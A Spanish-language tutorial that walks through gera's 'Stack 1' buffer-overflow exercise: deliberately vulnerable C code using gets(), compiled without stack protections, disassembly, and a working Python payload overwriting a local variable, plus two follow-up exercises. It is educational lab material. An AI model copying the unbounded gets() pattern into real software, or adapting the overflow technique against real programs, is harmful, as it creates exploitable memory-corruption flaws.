Ataque “Smash the stack”

El objetivo de los ejercicios de este apartado es lograr que al ejecutar el programa se imprima el mensaje “you win!”, para lo cual se seguirán diferentes estrategias.

Análisis del programa vulnerable

Stack 1

#include <stdio.h>

int main() {
        int cookie;
        char buf[80];
        
        printf("buf: %08x cookie: %08x\n", &buf, &cookie);
        gets(buf);

        if (cookie == 0x41424344)
                printf("you win!\n");
}

¿Qué hace el programa?

Se declaran dos variables locales cookie (numérica) y buf (array de char o, en C, string). gets() toma datos de la entrada estándar y los guarda en buf, cookie no se inicializa pero se evalúa si su valor es 0x41424344 (“ABCD” en ASCII), si es así se imprime el mensaje ganador.

Compilamos y ejecutamos el programa con los flags necesarios y vemos su funcionamiento:

user@u:~$ gcc -m32 -no-pie -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -z execstack -o stack1 stack1.c
user@u:~$ ./stack1
buf: bffff5b4 cookie: bffff604
user@u:~$

Se imprime la dirección de las variables locales y se espera una entrada del usuario. Ingresamos cualquier entrada y el programa finaliza.

Layout de la pila antes del exploit:

Antes de ejecutar gets(buf) el mapa de la pila del programa es el siguiente:

        int main() {
           int cookie;
           char buf[80];
           
           printf("buf: %08x cookie: %08x\n", &buf, &cookie);
eip =>     gets(buf);
   
           if (cookie == 0x41424344)
              printf("you win!\n");
        }

pila

Si pensamos de manera simplificada el punto de entrada de un binario, dentro de _start se hace un call main(). La instrucción call apila la dirección de retorno (para que luego de ejecutar main()se retorne a _start) y se apila el frame pointer actual (ebp), cuyo valor se almacena porque se va a adecuar al frame de main(). Acto seguido se pasa el control a la función llamada main() que apila primero la variable local cookie y después buf.

Si tenemos en mente la convención del llamado a funciones es posible saber en qué parte de la pila se encuentran los valores que nos interesan:

[ebp-0x54]  = buf
[ebp-0x4]   = cookie
[ebp]       = ebp anterior guardado
[ebp+0x4]   = dirección de retorno

El programa desensamblado

Como lo compilamos con gcc -g, se puede desensamblar el programa intercalado con el código fuente con objdump -M intel -S stack1.

user@u:~$ gcc -m32 -no-pie -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -z execstack -o stack1 stack1.c

user@u:~$ objdump -M intel -S stack1


0804845b <main>:
/* stack1-stdin.c                               *
 * specially crafted to feed your brain by gera */

#include <stdio.h>

int main() {
 804845b: 55                    push   ebp
 804845c: 89 e5                 mov    ebp,esp
 804845e: 83 ec 54              sub    esp,0x54                  ; local vars 
  
  int cookie;
  char buf[80];

  printf("buf: %08x cookie: %08x\n", &buf, &cookie);
  8048461: 8d 45 fc              lea    eax,[ebp-0x4]
  8048464: 50                    push   eax                      ; param 3 [ebp-0x4]  | addr cookie
  8048465: 8d 45 ac              lea    eax,[ebp-0x54]
  8048468: 50                    push   eax                      ; param 2 [ebp-0x54] | addr buf
  8048469: 68 30 85 04 08        push   0x8048530                ; param 1 | "buf: %08x cookie: %08x\n"
  804846e: e8 9d fe ff ff        call   8048310 <printf@plt>     ; call printf
  8048473: 83 c4 0c              add    esp,0xc
  
  gets(buf);
  8048476: 8d 45 ac              lea    eax,[ebp-0x54]           ; param [ebp-0x54] | addr buf
  8048479: 50                    push   eax
  804847a: e8 a1 fe ff ff        call   8048320 <gets@plt>       ; call gets
  804847f: 83 c4 04              add    esp,0x4

  if (cookie == 0x41424344)
  8048482: 8b 45 fc              mov    eax,DWORD PTR [ebp-0x4]  ; [ebp-0x4]: cookie
  8048485: 3d 44 43 42 41        cmp    eax,0x41424344           ; ¿cookie == 0x41424344?
  804848a: 75 0d                 jne    8048499 <main+0x3e>      ; ¿Zflag == 1?
     
     printf("you win!\n");
     804848c: 68 48 85 04 08        push   0x8048548             ; "you win!"
     8048491: e8 9a fe ff ff        call   8048330 <puts@plt>    ; call printf
     8048496: 83 c4 04              add    esp,0x4
}
 8048499: c9                    leave  
 804849a: c3                    ret 

Consideraciones

  • lea vs mov:
    En el programa aparece la instrucción lea (en inglés Load Effective Address) que carga una dirección (dada por el operando fuente) en dónde indique el operando destino y funciona de manera similar al operador de dirección “&” en C. En el programa aparece de la siguiente forma: lea eax,[ebp-0x4]. En esta instrucción se recupera la dirección de cookie en la pila y se la almacena en eax.
    Por su uso similar a mov, es posible confundirse. Con lea eax,[ebp-0x4] no se dereferencia ebp-0x4 como puntero sino que sólo se está calculando la dirección de ebp-0x4 para almacenarla en el primer operando. En cambio una instrucción como mov eax,[ebp-0x4] sí considera a su segundo operando un puntero y se copia el valor al que éste apunta.
  • Directivas de tamaño: DWORD.
    En el ejemplo anterior la instrucción mov eax, DWORD PTR [ebp-0x4] al especificar el segundo operando incluye una directiva de tamaño DWORD que implica que lo que se debe copiar a eax son 32 bits. Las diferentes directivas de tamaño están especificadas en el gráfico del manual de Intel a continuación:

    tipo de datos

    Si lo pensaramos en C un char es un BYTE (8 bits), un short es una WORD (16 bits), un int es una DOUBLE WORD (32 bits) y un double es un QUAD WORD (64 bits).

¿Cuál es la vulnerabilidad en gets()?

Consultamos man gets:

 user@u:~$ man gets     
 char *gets(char *s);     
"gets() lee caracteres desde stdin en el array apuntado por s, 
hasta encontrar un caracter de línea nueva o un caracter de final de fichero (EOF). 
Cualquier carácter de línea nueva es descartado, y reemplazado por un carácter nulo."
"BUGS: Nunca usar gets() porque no es posible controlar cuántos caracteres va a leer de stdin y, 
por lo tanto, es peligroso ya que puede almacenar caracteres por fuera del fin del buffer. 
Es preferible usar fgets()".

Es una función que lee caracteres por entrada estándar pero no verifica la longitud de lo que almacena respecto al espacio del búfer donde se lo va a almacenar.

Ataque “Smash the stack” básico

El ataque conocido como Smash the stack publicado por Aleph One en la revista Phrack consiste en corromper la pila de ejecución de un programa vulnerable escribiendo por fuera de los límites de un búfer. Este ataque consiste en aprovechar una vulnerabilidad del tipo “buffer overflow” o desbordamiento de un búfer almacenado en la pila. Un programa con una función vulnerable (del tipo gets() que no chequea el tamaño de un búfer) permite escribir en el búfer más datos que los que éste puede contener. Si abusamos de la vulnerabilidad y escribimos datos que superan el tamaño del búfer logramos desbordarlo y escribir por fuera de los límites de ese bloque de memoria.

En este ataque básico el objetivo será a través de una corrupción de la pila modificar una variable local (cookie con el valor 0x41424344 lograr imprimir el mensaje ganador). No obstante las posibilidades que brinda la escritura por fuera de los límites del búfer no se reducen a ello. Más adelante se verá cómo lo primordial que querremos escribir fuera de los límites del búfer va a ser información de control como la dirección de retorno.

Entonces en el Stack 1 la “corrupción” de la pila tendrá como objetivo particular sobreescribir la variable local cookie con el valor 0x41424344 para que la condición que lo evalúa sea verdadera y se imprima el mensaje ganador “you win!”. Como se indicó la función gets(buf) nunca evalúa la cantidad de caracteres de buf por lo que es posible escribir la pila por fuera de los límites de buf hasta sobreescribir cookie con el valor deseado.

exploit

Para eso, primero calculamos la cantidad de caracteres exacta que debemos ingresar por entrada estándar.
Con el mapa de la pila en la memoria, entendemos que primero debemos ingresar un dato cualquiera hasta completar los 80 bytes de buf y los siguientes 4 bytes van a sobreescribir el contenido de cookie.
Como el caracter “A” en ASCII es un byte (\x41) lo usamos de relleno 80 veces, seguido del valor de cookie deseado.

user@u:~$ python -c 'print ("A" * 80 + "\x44\x43\x42\x41")' | ./stack1 
buf: bffff5b4 cookie: bffff604
you win!

Y logramos imprimir el mensaje ganador.
A medida que los exploits se complejicen será de utilidad armar un archivo en Python con el exploit que funcionará como input: exploit.py.

#!/usr/bin/python
output = "A" * 80 + "\x44\x43\x42\x41"
print output

Y al ejecutar el programa con ese input logramos el mismo resultado:

user@abos:~$ python exploit.py |./stack1
buf: bffff5b4 cookie: bffff604
you win!

Consideraciones:

  • Si utilizamos gdb a la hora de debugear el programa es importante tener en cuenta las diferencias en las direcciones al ejecutar un programa y al debugearlo con gdb para lograr los resultados esperados.
  • Cuando debugeamos con gdb es posible ingresar un input por stdin al programa vulnerable de la siguiente manera:
    user@u:~$ python exploit.py > in
    user@u:~$ gdb ./stack1
    GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
    ...
    (gdb) r < in
    buf: bffff5b4 cookie: bffff604
    you win!
    

Layout de la pila después del exploit:

Gráficamente logramos el siguiente resultado:

exploit

¿Cómo seguir?

  1. Stack 2
  2. Stack 3

Código fuente Stack 2

#include <stdio.h>

int main() {
        int cookie;
        char buf[80];

        printf("buf: %08x cookie: %08x\n", &buf, &cookie);
        gets(buf);

        if (cookie == 0x01020305)
                printf("you win!\n");
}

Código fuente Stack 3

#include <stdio.h>

int main() {
        int cookie;
        char buf[80];

        printf("buf: %08x cookie: %08x\n", &buf, &cookie);
        gets(buf);

        if (cookie == 0x01020005)
                printf("you win!\n");
}

Material consultado

[1]. Aleph One. (Noviembre de 1996). Smashing the Stack for Fun and Profit. Phrack, 7. Disponible en: http://phrack.org/issues/49/14.html